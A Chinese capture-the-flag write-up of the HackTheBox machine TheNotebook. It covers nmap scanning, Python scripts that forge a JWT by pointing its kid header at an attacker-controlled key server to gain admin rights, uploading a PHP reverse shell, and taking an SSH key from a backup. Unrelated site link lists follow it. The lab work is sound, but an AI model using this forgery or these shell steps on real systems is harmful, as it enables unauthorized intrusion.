hackthebox TheNotebook
前言
只拿到了user,提权没成功——有wp说是CVE-2019-5736,我没打成。
打点
nmap-sV -v -A 10.10.10.230
端口扫描结果:
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 86:df:10:fd:27:a3:fb:d8:36:a7:ed:90:95:33:f5:bf (RSA)
| 256 e7:81:d6:6c:df:ce:b7:30:03:91:5c:b5:13:42:06:44 (ECDSA)
|_ 256 c6:06:34:c7:fc:00:c4:62:06:c2:36:0e:ee:5e:bf:6b (ED25519)
80/tcp open http nginx 1.14.0 (Ubuntu)
|_http-favicon: Unknown favicon MD5: B2F904D3046B07D05F90FB6131602ED2
| http-methods:
|_ Supported Methods: GET OPTIONS HEAD
|_http-server-header: nginx/1.14.0 (Ubuntu)
|_http-title: The Notebook - Your Note Keeper
10010/tcp filtered rxapi
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
注册接口发现admin用户已存在,爆破一手密码试试,无果。
使用test test成功登录,但只有一个添加笔记的功能,没什么思路
又测试注册和登录接口是否存在sql注入,无果。
尝试之前某题的思路在admin后加上超多空格,试图超出截断以覆盖已有admin账号也失败了。
但是base64解码admin空空空空空账号的登录cookie后发现这是个jwt,思路转向jwt伪造。
下面是已经存在账号test的token
{"typ":"JWT","alg":"RS256","kid":"http://localhost:7070/privKey.key"}.{"username":"test","email":"test@test.htb","admin_cap":falsefQ.MtÇ[8âºZ*ï>IÙÈ@3â«»6TC5-1̲³Ivh-»fr^wqÜNfèM ÐÉ¥Á̲eîÚ0ha-O:KHrÀßdàÍÏYZóP;C§««U2_ÇqK÷hJ9èâQ7êmÛMíet¡ÜV
>|_nÔ
·W5
e¥1¢yÒ¸G}áÊQ
nmap扫描7070端口发现未开放,因此猜测把url改到我们自己服务器上来控制key,再修改admin_cap值为True来达到越权至admin的效果。
生成token脚本如下,因为rs256加密,这key不能乱写,先改成HS256试试。
privKey.key放的就是test1234
import jwt
import base64
key = b'test1234'
head = {
"typ": "JWT",
"alg": "HS256",
"kid": "http://10.10.15.0:8000/privKey.key"
}
payload = {
"username":"test",
"email":"test@test.htb",
"admin_cap":True
}
# head_str = json.dumps(head)
# payload_str = json.dumps(payload)
# pattern = head_str + '.' + payload_str
# secret = base64.b64encode(pattern.encode())
#jwt_token = base64.b64encode(head_str.encode()) + b'.' + base64.b64encode(payload_str.encode()) + b'.' + secret
jwt_token = jwt.encode(payload,key,"HS256",head)
print(jwt_token)
确实有访问记录,但是没有成功。
把加密方式改回RS256试试
先生成一个私钥
import jwt
key = """-----BEGIN RSA PRIVATE KEY-----
MIICWwIBAAKBgQDUCGTLntMGEocLy6Ww/W/luPdLAaou2XMUQT7E91BuFTndKfOq
adJta5XoRFLeExTRK1+tYJjj2fWjFUUFf22puEutBP8rxI9B9bfiwcRKvWqqh71U
j0q8cDpnrPw6jS+7kOGxG2fPFqHVYUP1u+7ZN71EwzwNcAdAqM0ZjvtADwIDAQAB
AoGBAMQDxnrfJyKT+jiTWWfXw5xRdHvo3BVXfSWac5bPM5GxGb81y0cdcSUqsnj4
wMsARNxiBp9Xj8AEfSr4vMgqV4tArBfyNuJEjLtWCO37L8qXC3jtUsImgRZQqW+3
lIzPNHgddfdmlFrorTZx8ZssWX7kAXl020WiTHptbiNmmRehAkEA/hDKeP/Y4/0P
I0jdWxnXpSHXXiPPGZ4N8phSQMuCnsWpa7Zf8bzDJyeOtbCUEpGhu2EB46Ol6l4c
I7W7Ecjs5wJBANWlrNC9t9mJKkQ9S+n71OryGC1CnZTT0FQssSqgvZgo/FepkXzo
10yuVAaqqKGt9XhjEP7TjtH0O745iDudxpkCQC0l0rUZ0fMBvzTn993+g6Gml9z0
xBKrUZMwmj1FbNrGCUtIx1fv0UYd83A6BrYeBv2DSZCoPg2d16ZI3wtUBzUCQFDr
8rwRz+wmZwr3yKQ0jZ372qpx++veGp93WheSUJ2skH/Hq2KLctkJgqwPwdWTZVGW
/F341bSydFqFwhMKnKkCPxdfD2OW1BDtHOh7xT0dn4fuZNKojzTrmej2ypu4DM8h
GMln3Xc5vNL18351Q8TfLTeYCeTGrAXZeuRvcUODSQ==
-----END RSA PRIVATE KEY-----
"""
head = {
"typ": "JWT",
"alg": "RS256",
"kid": "http://10.10.15.0:8000/privKey.key"
}
payload = {
"username":"test",
"email":"test@test.htb",
"admin_cap":True
}
jwt_token = jwt.encode(payload,key,"RS256",head)
print(jwt_token)
用cookie quick manager替换掉test的cookie成功获取管理员权限
发现上传
它隔一段时间上传的马就会被删,蚁剑就不太好操作了,重新上传一个反弹shell的马/usr/share/webshells/php/php-reverse-shell.php
在/home/noah下发现了user.txt,还有一个main文件不知道是干嘛的(从strings命令的内容来看像是go写的,跑一下就一个报错),下一步就是要切到该用户读文件了。
在/var下发现备份文件
下面几个涉及到账号的只有home.tar.gz可读,下载下来看看
发现存在Noah的ssh私钥,直接登录.获取user flag
提权
sudo -l 发现有无需密码命令
看样子是要容器逃逸了。但我不清楚这要怎么判断是什么洞,试了下别的wp写的CVE-2019-5736,没打成,溜了
hackthebox TheNotebook的更多相关文章
- [HackTheBox]WEB题目
0x01 [50 Points] I know Mag1k 问题描述: Can you get to the profile page of the admin? 访问分配的地址,是一个带注册的登入页 ...
- hackthebox通关手记(持续更新)
简介: 花了点时间弄了几道题目.以前我是用windows渗透居多,在kali linux下渗透测试一直不怎么习惯.通过这几天做这些题目感觉顺手多了.有些题目脑洞也比较大,感觉很多也不适合于实际的环境 ...
- Hack The Box 获取邀请码
TL DR; 使用curl请求下面的地址 curl -X POST https://www.hackthebox.eu/api/invite/generate {"success" ...
- 【10.15总结】绕过CSRF的Referer保护
今天下午可能要出远门,所以现在就把总结写好了. Write-up地址:[Critical] Bypass CSRF protection on IBM 这个CSRF漏洞存在于IBM的修改邮箱页面,修改 ...
- NodeJS反序列化漏洞利用
原文来自:http://www.4hou.com/web/13024.html node.js是一个服务器端的运行环境,封装了Google V8引擎,V8引擎执行JavaScript速度非常快,性能非 ...
- 11种绕过CDN查找真实IP方法
0x01 验证是否存在CDN 方法1: 很简单,使用各种多地 ping 的服务,查看对应 IP 地址是否唯一,如果不唯一多半是使用了CDN, 多地 Ping 网站有: http://ping.chin ...
- OSCP考试回顾
技术背景 从2011年开始接触学习渗透测试,全职做过的职位有渗透测试,Python后端研发,DevOps,甲方安全打杂. 学习过程 首先考试报名,交钱.买了价值800美元的一个月lab,包含Pente ...
- Linux Restricted Shell Bypass
Author: @n4ckhcker & @h4d3sw0rm Introduction Hello, so first of all let’s explain what is a rest ...
- Hack The Box Web Pentest 2019
[20 Points] Emdee five for life [by L4mpje] 问题描述: Can you encrypt fast enough? 初始页面,不管怎么样点击Submit都会显 ...
随机推荐
- Codeforces Beta Round #73(Div2)
A - Chord 题意:就是环中有12个字符,给你三个字符,判断他们之间的间隔,如果第一个和第二个间隔是3并且第二个和第三个间隔是4,那么就输出minor,如果第一个和第二个间隔是4并且第二个和第三 ...
- Davinci 可视化系统部署安装及简单使用
Davinci 是一个目前比较热门的国内开源BI系统,功能比较完善,各种可视化效果也挺不错.主要获取数据的方式是通过编写SQL 创建数据视图来展示各种图表的. Davinci面向业务人员/数据工程师/ ...
- 无连接运输:UDP
多路复用和解复用与校验和是UDP唯一能做的事,运输层的协议必须做点什么,什么都没有就不需要这一层了. 为什么要使用UDP 既然有了可靠传输的TCP,为什么还要在udp之上来构件应用呢? 有效载荷大,T ...
- 使用alpine为基础镜像Q&A
作为go应用存在二进制文件却不能执行 明明镜像中有对应的二进制文件,但是执行时却提示 not found 或 no such file 或 standard_init_linux.go:211: ex ...
- [Python] Python工匠(Github)
1.善用变量来改变代码质量 变量命名 变量要有描述性,不能太宽泛 BAD:day, host, cards, temp GOOD:day_of_week, hosts_to_reboot, expir ...
- vmware快捷键大全
初学linux的朋友往往需要使用VMware这个软件 与其打交道多了 越来越觉得快捷键的重要性 特将搜集到的快捷键记录以便查阅记忆 Ctrl-Alt-Enter 进入全屏模式 ctrl+alt+ins ...
- && echo suss! || echo failed
### && echo suss! || echo failed 加在bash后 ########ls /proc && echo suss! || echo fail ...
- 面向对象——python核心编程第二版
类与实例 类与实例相互关联着:类是对象的定义,而实例是"真正的实物",它存放了类中所定义的对象的具体信息. class MyData(object): pass >>& ...
- [leetcode] 30. 与所有单词相关联的字串(cn第653位做出此题的人~)
30. 与所有单词相关联的字串 这个题做了大概两个小时左右把...严重怀疑leetcode的judge机器有问题.同样的代码交出来不同的运行时长,能不能A题还得看运气? 大致思路是,给words生成一 ...
- TensorFlow分布式(多GPU和多服务器)详解
本文介绍有关 TensorFlow 分布式的两个实际用例,分别是数据并行(将数据分布到多个 GPU 上)和多服务器分配. 玩转分布式TensorFlow:多个GPU和一个CPU展示一个数据并行的例子, ...